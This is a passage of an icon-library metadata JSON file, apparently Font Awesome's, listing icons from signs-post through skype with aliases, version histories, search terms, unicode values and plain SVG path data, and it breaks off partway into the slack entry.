        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 128c0-17.7 14.3-32 32-32s32 14.3 32 32v7.8c0 27.7-2.4 55.3-7.1 82.5l-84.4 25.3c-40.6 12.2-68.4 49.6-68.4 92v71.9c0 40 32.5 72.5 72.5 72.5c26 0 50-13.9 62.9-36.5l13.9-24.3c26.8-47 46.5-97.7 58.4-150.5l94.4-28.3-12.5 37.5c-3.3 9.8-1.6 20.5 4.4 28.8s15.7 13.3 26 13.3H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H460.4l18-53.9c3.8-11.3 .9-23.8-7.4-32.4s-20.7-11.8-32.2-8.4L316.4 198.1c2.4-20.7 3.6-41.4 3.6-62.3V128c0-53-43-96-96-96s-96 43-96 96v32c0 17.7 14.3 32 32 32s32-14.3 32-32V128zm-9.2 177l49-14.7c-10.4 33.8-24.5 66.4-42.1 97.2l-13.9 24.3c-1.5 2.6-4.3 4.3-7.4 4.3c-4.7 0-8.5-3.8-8.5-8.5V335.6c0-14.1 9.3-26.6 22.8-30.7zM24 368c-13.3 0-24 10.7-24 24s10.7 24 24 24H64.3c-.2-2.8-.3-5.6-.3-8.5V368H24zm592 48c13.3 0 24-10.7 24-24s-10.7-24-24-24H305.9c-6.7 16.3-14.2 32.3-22.3 48H616z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 128c0-17.7 14.3-32 32-32s32 14.3 32 32v7.8c0 27.7-2.4 55.3-7.1 82.5l-84.4 25.3c-40.6 12.2-68.4 49.6-68.4 92v71.9c0 40 32.5 72.5 72.5 72.5c26 0 50-13.9 62.9-36.5l13.9-24.3c26.8-47 46.5-97.7 58.4-150.5l94.4-28.3-12.5 37.5c-3.3 9.8-1.6 20.5 4.4 28.8s15.7 13.3 26 13.3H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H460.4l18-53.9c3.8-11.3 .9-23.8-7.4-32.4s-20.7-11.8-32.2-8.4L316.4 198.1c2.4-20.7 3.6-41.4 3.6-62.3V128c0-53-43-96-96-96s-96 43-96 96v32c0 17.7 14.3 32 32 32s32-14.3 32-32V128zm-9.2 177l49-14.7c-10.4 33.8-24.5 66.4-42.1 97.2l-13.9 24.3c-1.5 2.6-4.3 4.3-7.4 4.3c-4.7 0-8.5-3.8-8.5-8.5V335.6c0-14.1 9.3-26.6 22.8-30.7zM24 368c-13.3 0-24 10.7-24 24s10.7 24 24 24H64.3c-.2-2.8-.3-5.6-.3-8.5V368H24zm592 48c13.3 0 24-10.7 24-24s-10.7-24-24-24H305.9c-6.7 16.3-14.2 32.3-22.3 48H616z"
      }
    },
    "free": ["solid"]
  },
  "signs-post": {
    "aliases": {
      "names": ["map-signs"],
      "unicodes": {
        "secondary": ["10f277"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["directions", "directory", "map", "signage", "wayfinding"]
    },
    "styles": ["solid"],
    "unicode": "f277",
    "label": "Signs Post",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M224 32H64C46.3 32 32 46.3 32 64v64c0 17.7 14.3 32 32 32H441.4c4.2 0 8.3-1.7 11.3-4.7l48-48c6.2-6.2 6.2-16.4 0-22.6l-48-48c-3-3-7.1-4.7-11.3-4.7H288c0-17.7-14.3-32-32-32s-32 14.3-32 32zM480 256c0-17.7-14.3-32-32-32H288V192H224v32H70.6c-4.2 0-8.3 1.7-11.3 4.7l-48 48c-6.2 6.2-6.2 16.4 0 22.6l48 48c3 3 7.1 4.7 11.3 4.7H448c17.7 0 32-14.3 32-32V256zM288 480V384H224v96c0 17.7 14.3 32 32 32s32-14.3 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M224 32H64C46.3 32 32 46.3 32 64v64c0 17.7 14.3 32 32 32H441.4c4.2 0 8.3-1.7 11.3-4.7l48-48c6.2-6.2 6.2-16.4 0-22.6l-48-48c-3-3-7.1-4.7-11.3-4.7H288c0-17.7-14.3-32-32-32s-32 14.3-32 32zM480 256c0-17.7-14.3-32-32-32H288V192H224v32H70.6c-4.2 0-8.3 1.7-11.3 4.7l-48 48c-6.2 6.2-6.2 16.4 0 22.6l48 48c3 3 7.1 4.7 11.3 4.7H448c17.7 0 32-14.3 32-32V256zM288 480V384H224v96c0 17.7 14.3 32 32 32s32-14.3 32-32z"
      }
    },
    "free": ["solid"]
  },
  "sim-card": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7c4"]
      }
    },
    "changes": [
      "5.6.0",
      "5.8.2",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "hard drive",
        "hardware",
        "portable",
        "storage",
        "technology",
        "tiny"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7c4",
    "label": "Sim Card",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0H242.7c17 0 33.3 6.7 45.3 18.7L365.3 96c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64C0 28.7 28.7 0 64 0zM96 192c-17.7 0-32 14.3-32 32v32h64V192H96zM64 352h80 96 80V288H240 144 64v64zM320 224c0-17.7-14.3-32-32-32H256v64h64V224zM160 192v64h64V192H160zM288 448c17.7 0 32-14.3 32-32V384H256v64h32zM160 384v64h64V384H160zM64 416c0 17.7 14.3 32 32 32h32V384H64v32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0H242.7c17 0 33.3 6.7 45.3 18.7L365.3 96c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64C0 28.7 28.7 0 64 0zM96 192c-17.7 0-32 14.3-32 32v32h64V192H96zM64 352h80 96 80V288H240 144 64v64zM320 224c0-17.7-14.3-32-32-32H256v64h64V224zM160 192v64h64V192H160zM288 448c17.7 0 32-14.3 32-32V384H256v64h32zM160 384v64h64V384H160zM64 416c0 17.7 14.3 32 32 32h32V384H64v32z"
      }
    },
    "free": ["solid"]
  },
  "simplybuilt": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f215",
    "label": "SimplyBuilt",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M481.2 64h-106c-14.5 0-26.6 11.8-26.6 26.3v39.6H163.3V90.3c0-14.5-12-26.3-26.6-26.3h-106C16.1 64 4.3 75.8 4.3 90.3v331.4c0 14.5 11.8 26.3 26.6 26.3h450.4c14.8 0 26.6-11.8 26.6-26.3V90.3c-.2-14.5-12-26.3-26.7-26.3zM149.8 355.8c-36.6 0-66.4-29.7-66.4-66.4 0-36.9 29.7-66.6 66.4-66.6 36.9 0 66.6 29.7 66.6 66.6 0 36.7-29.7 66.4-66.6 66.4zm212.4 0c-36.9 0-66.6-29.7-66.6-66.6 0-36.6 29.7-66.4 66.6-66.4 36.6 0 66.4 29.7 66.4 66.4 0 36.9-29.8 66.6-66.4 66.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M481.2 64h-106c-14.5 0-26.6 11.8-26.6 26.3v39.6H163.3V90.3c0-14.5-12-26.3-26.6-26.3h-106C16.1 64 4.3 75.8 4.3 90.3v331.4c0 14.5 11.8 26.3 26.6 26.3h450.4c14.8 0 26.6-11.8 26.6-26.3V90.3c-.2-14.5-12-26.3-26.7-26.3zM149.8 355.8c-36.6 0-66.4-29.7-66.4-66.4 0-36.9 29.7-66.6 66.4-66.6 36.9 0 66.6 29.7 66.6 66.6 0 36.7-29.7 66.4-66.6 66.4zm212.4 0c-36.9 0-66.6-29.7-66.6-66.6 0-36.6 29.7-66.4 66.6-66.4 36.6 0 66.4 29.7 66.4 66.4 0 36.9-29.8 66.6-66.4 66.6z"
      }
    },
    "free": ["brands"]
  },
  "sink": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e06d"]
      }
    },
    "changes": [
      "5.13.0",
      "5.13.1",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bathroom", "covid-19", "faucet", "kitchen", "wash"]
    },
    "styles": ["solid"],
    "unicode": "e06d",
    "label": "Sink",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 96c0-17.7 14.3-32 32-32s32 14.3 32 32s14.3 32 32 32s32-14.3 32-32c0-53-43-96-96-96s-96 43-96 96V288H160V264c0-30.9-25.1-56-56-56H56c-13.3 0-24 10.7-24 24s10.7 24 24 24h48c4.4 0 8 3.6 8 8v24H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H256 480c17.7 0 32-14.3 32-32s-14.3-32-32-32H400V264c0-4.4 3.6-8 8-8h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H408c-30.9 0-56 25.1-56 56v24H288V96zM480 416V384H32v32c0 53 43 96 96 96H384c53 0 96-43 96-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 96c0-17.7 14.3-32 32-32s32 14.3 32 32s14.3 32 32 32s32-14.3 32-32c0-53-43-96-96-96s-96 43-96 96V288H160V264c0-30.9-25.1-56-56-56H56c-13.3 0-24 10.7-24 24s10.7 24 24 24h48c4.4 0 8 3.6 8 8v24H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H256 480c17.7 0 32-14.3 32-32s-14.3-32-32-32H400V264c0-4.4 3.6-8 8-8h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H408c-30.9 0-56 25.1-56 56v24H288V96zM480 416V384H32v32c0 53 43 96 96 96H384c53 0 96-43 96-96z"
      }
    },
    "free": ["solid"]
  },
  "sistrix": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ee",
    "label": "SISTRIX",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 449L301.2 300.2c20-27.9 31.9-62.2 31.9-99.2 0-93.1-74.7-168.9-166.5-168.9C74.7 32 0 107.8 0 200.9s74.7 168.9 166.5 168.9c39.8 0 76.3-14.2 105-37.9l146 148.1 30.5-31zM166.5 330.8c-70.6 0-128.1-58.3-128.1-129.9S95.9 71 166.5 71s128.1 58.3 128.1 129.9-57.4 129.9-128.1 129.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 449L301.2 300.2c20-27.9 31.9-62.2 31.9-99.2 0-93.1-74.7-168.9-166.5-168.9C74.7 32 0 107.8 0 200.9s74.7 168.9 166.5 168.9c39.8 0 76.3-14.2 105-37.9l146 148.1 30.5-31zM166.5 330.8c-70.6 0-128.1-58.3-128.1-129.9S95.9 71 166.5 71s128.1 58.3 128.1 129.9-57.4 129.9-128.1 129.9z"
      }
    },
    "free": ["brands"]
  },
  "sitemap": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0e8"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "directory",
        "hierarchy",
        "ia",
        "information architecture",
        "organization"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0e8",
    "label": "Sitemap",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M208 80c0-26.5 21.5-48 48-48h64c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48h-8v40H464c30.9 0 56 25.1 56 56v32h8c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H464c-26.5 0-48-21.5-48-48V368c0-26.5 21.5-48 48-48h8V288c0-4.4-3.6-8-8-8H312v40h8c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H256c-26.5 0-48-21.5-48-48V368c0-26.5 21.5-48 48-48h8V280H112c-4.4 0-8 3.6-8 8v32h8c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V368c0-26.5 21.5-48 48-48h8V288c0-30.9 25.1-56 56-56H264V192h-8c-26.5 0-48-21.5-48-48V80z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M208 80c0-26.5 21.5-48 48-48h64c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48h-8v40H464c30.9 0 56 25.1 56 56v32h8c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H464c-26.5 0-48-21.5-48-48V368c0-26.5 21.5-48 48-48h8V288c0-4.4-3.6-8-8-8H312v40h8c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H256c-26.5 0-48-21.5-48-48V368c0-26.5 21.5-48 48-48h8V280H112c-4.4 0-8 3.6-8 8v32h8c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V368c0-26.5 21.5-48 48-48h8V288c0-30.9 25.1-56 56-56H264V192h-8c-26.5 0-48-21.5-48-48V80z"
      }
    },
    "free": ["solid"]
  },
  "sith": {
    "changes": ["5.0.12"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f512",
    "label": "Sith",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32l69.71 118.75-58.86-11.52 69.84 91.03a146.741 146.741 0 0 0 0 51.45l-69.84 91.03 58.86-11.52L0 480l118.75-69.71-11.52 58.86 91.03-69.84c17.02 3.04 34.47 3.04 51.48 0l91.03 69.84-11.52-58.86L448 480l-69.71-118.78 58.86 11.52-69.84-91.03c3.03-17.01 3.04-34.44 0-51.45l69.84-91.03-58.86 11.52L448 32l-118.75 69.71 11.52-58.9-91.06 69.87c-8.5-1.52-17.1-2.29-25.71-2.29s-17.21.78-25.71 2.29l-91.06-69.87 11.52 58.9L0 32zm224 99.78c31.8 0 63.6 12.12 87.85 36.37 48.5 48.5 48.49 127.21 0 175.7s-127.2 48.46-175.7-.03c-48.5-48.5-48.49-127.21 0-175.7 24.24-24.25 56.05-36.34 87.85-36.34zm0 36.66c-22.42 0-44.83 8.52-61.92 25.61-34.18 34.18-34.19 89.68 0 123.87s89.65 34.18 123.84 0c34.18-34.18 34.19-89.68 0-123.87-17.09-17.09-39.5-25.61-61.92-25.61z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32l69.71 118.75-58.86-11.52 69.84 91.03a146.741 146.741 0 0 0 0 51.45l-69.84 91.03 58.86-11.52L0 480l118.75-69.71-11.52 58.86 91.03-69.84c17.02 3.04 34.47 3.04 51.48 0l91.03 69.84-11.52-58.86L448 480l-69.71-118.78 58.86 11.52-69.84-91.03c3.03-17.01 3.04-34.44 0-51.45l69.84-91.03-58.86 11.52L448 32l-118.75 69.71 11.52-58.9-91.06 69.87c-8.5-1.52-17.1-2.29-25.71-2.29s-17.21.78-25.71 2.29l-91.06-69.87 11.52 58.9L0 32zm224 99.78c31.8 0 63.6 12.12 87.85 36.37 48.5 48.5 48.49 127.21 0 175.7s-127.2 48.46-175.7-.03c-48.5-48.5-48.49-127.21 0-175.7 24.24-24.25 56.05-36.34 87.85-36.34zm0 36.66c-22.42 0-44.83 8.52-61.92 25.61-34.18 34.18-34.19 89.68 0 123.87s89.65 34.18 123.84 0c34.18-34.18 34.19-89.68 0-123.87-17.09-17.09-39.5-25.61-61.92-25.61z"
      }
    },
    "free": ["brands"]
  },
  "sitrox": {
    "changes": ["6.0.0-beta2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e44a",
    "label": "Sitrox",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M212.439 0.00846128V0H448V128H64C64 57.6008 141.755 0.475338 212.439 0.00846128ZM237.256 192V192.007C307.135 192.475 384 249.6 384 320H210.809V319.995C140.915 319.563 64 262.424 64 192H237.256ZM235.565 511.993C306.251 511.521 384 454.399 384 384H0V512H235.565V511.993Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M212.439 0.00846128V0H448V128H64C64 57.6008 141.755 0.475338 212.439 0.00846128ZM237.256 192V192.007C307.135 192.475 384 249.6 384 320H210.809V319.995C140.915 319.563 64 262.424 64 192H237.256ZM235.565 511.993C306.251 511.521 384 454.399 384 384H0V512H235.565V511.993Z"
      }
    },
    "free": ["brands"]
  },
  "sketch": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["app", "design", "interface"]
    },
    "styles": ["brands"],
    "unicode": "f7c6",
    "label": "Sketch",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M27.5 162.2L9 187.1h90.5l6.9-130.7-78.9 105.8zM396.3 45.7L267.7 32l135.7 147.2-7.1-133.5zM112.2 218.3l-11.2-22H9.9L234.8 458zm2-31.2h284l-81.5-88.5L256.3 33zm297.3 9.1L277.6 458l224.8-261.7h-90.9zM415.4 69L406 56.4l.9 17.3 6.1 113.4h90.3zM113.5 93.5l-4.6 85.6L244.7 32 116.1 45.7zm287.7 102.7h-290l42.4 82.9L256.3 480l144.9-283.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M27.5 162.2L9 187.1h90.5l6.9-130.7-78.9 105.8zM396.3 45.7L267.7 32l135.7 147.2-7.1-133.5zM112.2 218.3l-11.2-22H9.9L234.8 458zm2-31.2h284l-81.5-88.5L256.3 33zm297.3 9.1L277.6 458l224.8-261.7h-90.9zM415.4 69L406 56.4l.9 17.3 6.1 113.4h90.3zM113.5 93.5l-4.6 85.6L244.7 32 116.1 45.7zm287.7 102.7h-290l42.4 82.9L256.3 480l144.9-283.8z"
      }
    },
    "free": ["brands"]
  },
  "skull": {
    "aliases": {
      "unicodes": {
        "composite": ["1f480"],
        "secondary": ["10f54c"]
      }
    },
    "changes": [
      "5.0.13",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bones",
        "death",
        "face",
        "fairy tale",
        "monster",
        "skeleton",
        "skull",
        "x-ray",
        "yorick"
      ]
    },
    "styles": ["solid"],
    "unicode": "f54c",
    "label": "Skull",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 398.9c58.5-41.1 96-104.1 96-174.9C512 100.3 397.4 0 256 0S0 100.3 0 224c0 70.7 37.5 133.8 96 174.9c0 .4 0 .7 0 1.1v64c0 26.5 21.5 48 48 48h48V464c0-8.8 7.2-16 16-16s16 7.2 16 16v48h64V464c0-8.8 7.2-16 16-16s16 7.2 16 16v48h48c26.5 0 48-21.5 48-48V400c0-.4 0-.7 0-1.1zM96 256a64 64 0 1 1 128 0A64 64 0 1 1 96 256zm256-64a64 64 0 1 1 0 128 64 64 0 1 1 0-128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 398.9c58.5-41.1 96-104.1 96-174.9C512 100.3 397.4 0 256 0S0 100.3 0 224c0 70.7 37.5 133.8 96 174.9c0 .4 0 .7 0 1.1v64c0 26.5 21.5 48 48 48h48V464c0-8.8 7.2-16 16-16s16 7.2 16 16v48h64V464c0-8.8 7.2-16 16-16s16 7.2 16 16v48h48c26.5 0 48-21.5 48-48V400c0-.4 0-.7 0-1.1zM96 256a64 64 0 1 1 128 0A64 64 0 1 1 96 256zm256-64a64 64 0 1 1 0 128 64 64 0 1 1 0-128z"
      }
    },
    "free": ["solid"]
  },
  "skull-crossbones": {
    "aliases": {
      "unicodes": {
        "composite": ["1f571", "2620"],
        "secondary": ["10f714"]
      }
    },
    "changes": [
      "5.4.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Skull and Crossbones",
        "Dungeons & Dragons",
        "alert",
        "bones",
        "crossbones",
        "d&d",
        "danger",
        "dangerous area",
        "dead",
        "deadly",
        "death",
        "dnd",
        "face",
        "fantasy",
        "halloween",
        "holiday",
        "jolly-roger",
        "monster",
        "pirate",
        "poison",
        "skeleton",
        "skull",
        "skull and crossbones",
        "warning"
      ]
    },
    "styles": ["solid"],
    "unicode": "f714",
    "label": "Skull Crossbones",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M368 128c0 44.4-25.4 83.5-64 106.4V256c0 17.7-14.3 32-32 32H176c-17.7 0-32-14.3-32-32V234.4c-38.6-23-64-62.1-64-106.4C80 57.3 144.5 0 224 0s144 57.3 144 128zM168 176a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm144-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM3.4 273.7c7.9-15.8 27.1-22.2 42.9-14.3L224 348.2l177.7-88.8c15.8-7.9 35-1.5 42.9 14.3s1.5 35-14.3 42.9L295.6 384l134.8 67.4c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3L224 419.8 46.3 508.6c-15.8 7.9-35 1.5-42.9-14.3s-1.5-35 14.3-42.9L152.4 384 17.7 316.6C1.9 308.7-4.5 289.5 3.4 273.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M368 128c0 44.4-25.4 83.5-64 106.4V256c0 17.7-14.3 32-32 32H176c-17.7 0-32-14.3-32-32V234.4c-38.6-23-64-62.1-64-106.4C80 57.3 144.5 0 224 0s144 57.3 144 128zM168 176a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm144-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM3.4 273.7c7.9-15.8 27.1-22.2 42.9-14.3L224 348.2l177.7-88.8c15.8-7.9 35-1.5 42.9 14.3s1.5 35-14.3 42.9L295.6 384l134.8 67.4c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3L224 419.8 46.3 508.6c-15.8 7.9-35 1.5-42.9-14.3s-1.5-35 14.3-42.9L152.4 384 17.7 316.6C1.9 308.7-4.5 289.5 3.4 273.7z"
      }
    },
    "free": ["solid"]
  },
  "skyatlas": {
    "changes": ["4.3.0", "5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f216",
    "label": "skyatlas",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 329.3c0 65.9-52.5 114.4-117.5 114.4-165.9 0-196.6-249.7-359.7-249.7-146.9 0-147.1 212.2 5.6 212.2 42.5 0 90.9-17.8 125.3-42.5 5.6-4.1 16.9-16.3 22.8-16.3s10.9 5 10.9 10.9c0 7.8-13.1 19.1-18.7 24.1-40.9 35.6-100.3 61.2-154.7 61.2-83.4.1-154-59-154-144.9s67.5-149.1 152.8-149.1c185.3 0 222.5 245.9 361.9 245.9 99.9 0 94.8-139.7 3.4-139.7-17.5 0-35 11.6-46.9 11.6-8.4 0-15.9-7.2-15.9-15.6 0-11.6 5.3-23.7 5.3-36.3 0-66.6-50.9-114.7-116.9-114.7-53.1 0-80 36.9-88.8 36.9-6.2 0-11.2-5-11.2-11.2 0-5.6 4.1-10.3 7.8-14.4 25.3-28.8 64.7-43.7 102.8-43.7 79.4 0 139.1 58.4 139.1 137.8 0 6.9-.3 13.7-1.2 20.6 11.9-3.1 24.1-4.7 35.9-4.7 60.7 0 111.9 45.3 111.9 107.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 329.3c0 65.9-52.5 114.4-117.5 114.4-165.9 0-196.6-249.7-359.7-249.7-146.9 0-147.1 212.2 5.6 212.2 42.5 0 90.9-17.8 125.3-42.5 5.6-4.1 16.9-16.3 22.8-16.3s10.9 5 10.9 10.9c0 7.8-13.1 19.1-18.7 24.1-40.9 35.6-100.3 61.2-154.7 61.2-83.4.1-154-59-154-144.9s67.5-149.1 152.8-149.1c185.3 0 222.5 245.9 361.9 245.9 99.9 0 94.8-139.7 3.4-139.7-17.5 0-35 11.6-46.9 11.6-8.4 0-15.9-7.2-15.9-15.6 0-11.6 5.3-23.7 5.3-36.3 0-66.6-50.9-114.7-116.9-114.7-53.1 0-80 36.9-88.8 36.9-6.2 0-11.2-5-11.2-11.2 0-5.6 4.1-10.3 7.8-14.4 25.3-28.8 64.7-43.7 102.8-43.7 79.4 0 139.1 58.4 139.1 137.8 0 6.9-.3 13.7-1.2 20.6 11.9-3.1 24.1-4.7 35.9-4.7 60.7 0 111.9 45.3 111.9 107.2z"
      }
    },
    "free": ["brands"]
  },
  "skype": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f17e",
    "label": "Skype",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M424.7 299.8c2.9-14 4.7-28.9 4.7-43.8 0-113.5-91.9-205.3-205.3-205.3-14.9 0-29.7 1.7-43.8 4.7C161.3 40.7 137.7 32 112 32 50.2 32 0 82.2 0 144c0 25.7 8.7 49.3 23.3 68.2-2.9 14-4.7 28.9-4.7 43.8 0 113.5 91.9 205.3 205.3 205.3 14.9 0 29.7-1.7 43.8-4.7 19 14.6 42.6 23.3 68.2 23.3 61.8 0 112-50.2 112-112 .1-25.6-8.6-49.2-23.2-68.1zm-194.6 91.5c-65.6 0-120.5-29.2-120.5-65 0-16 9-30.6 29.5-30.6 31.2 0 34.1 44.9 88.1 44.9 25.7 0 42.3-11.4 42.3-26.3 0-18.7-16-21.6-42-28-62.5-15.4-117.8-22-117.8-87.2 0-59.2 58.6-81.1 109.1-81.1 55.1 0 110.8 21.9 110.8 55.4 0 16.9-11.4 31.8-30.3 31.8-28.3 0-29.2-33.5-75-33.5-25.7 0-42 7-42 22.5 0 19.8 20.8 21.8 69.1 33 41.4 9.3 90.7 26.8 90.7 77.6 0 59.1-57.1 86.5-112 86.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M424.7 299.8c2.9-14 4.7-28.9 4.7-43.8 0-113.5-91.9-205.3-205.3-205.3-14.9 0-29.7 1.7-43.8 4.7C161.3 40.7 137.7 32 112 32 50.2 32 0 82.2 0 144c0 25.7 8.7 49.3 23.3 68.2-2.9 14-4.7 28.9-4.7 43.8 0 113.5 91.9 205.3 205.3 205.3 14.9 0 29.7-1.7 43.8-4.7 19 14.6 42.6 23.3 68.2 23.3 61.8 0 112-50.2 112-112 .1-25.6-8.6-49.2-23.2-68.1zm-194.6 91.5c-65.6 0-120.5-29.2-120.5-65 0-16 9-30.6 29.5-30.6 31.2 0 34.1 44.9 88.1 44.9 25.7 0 42.3-11.4 42.3-26.3 0-18.7-16-21.6-42-28-62.5-15.4-117.8-22-117.8-87.2 0-59.2 58.6-81.1 109.1-81.1 55.1 0 110.8 21.9 110.8 55.4 0 16.9-11.4 31.8-30.3 31.8-28.3 0-29.2-33.5-75-33.5-25.7 0-42 7-42 22.5 0 19.8 20.8 21.8 69.1 33 41.4 9.3 90.7 26.8 90.7 77.6 0 59.1-57.1 86.5-112 86.5z"
      }
    },
    "free": ["brands"]
  },
  "slack": {
    "aliases": {
      "names": ["slack-hash"],
      "unicodes": {
        "composite": ["f3ef"]
      }
    },
    "changes": ["4.1.0", "5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": ["anchor", "hash", "hashtag"]
    },
    "styles": ["brands"],
    "unicode": "f198",
    "label": "Slack Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
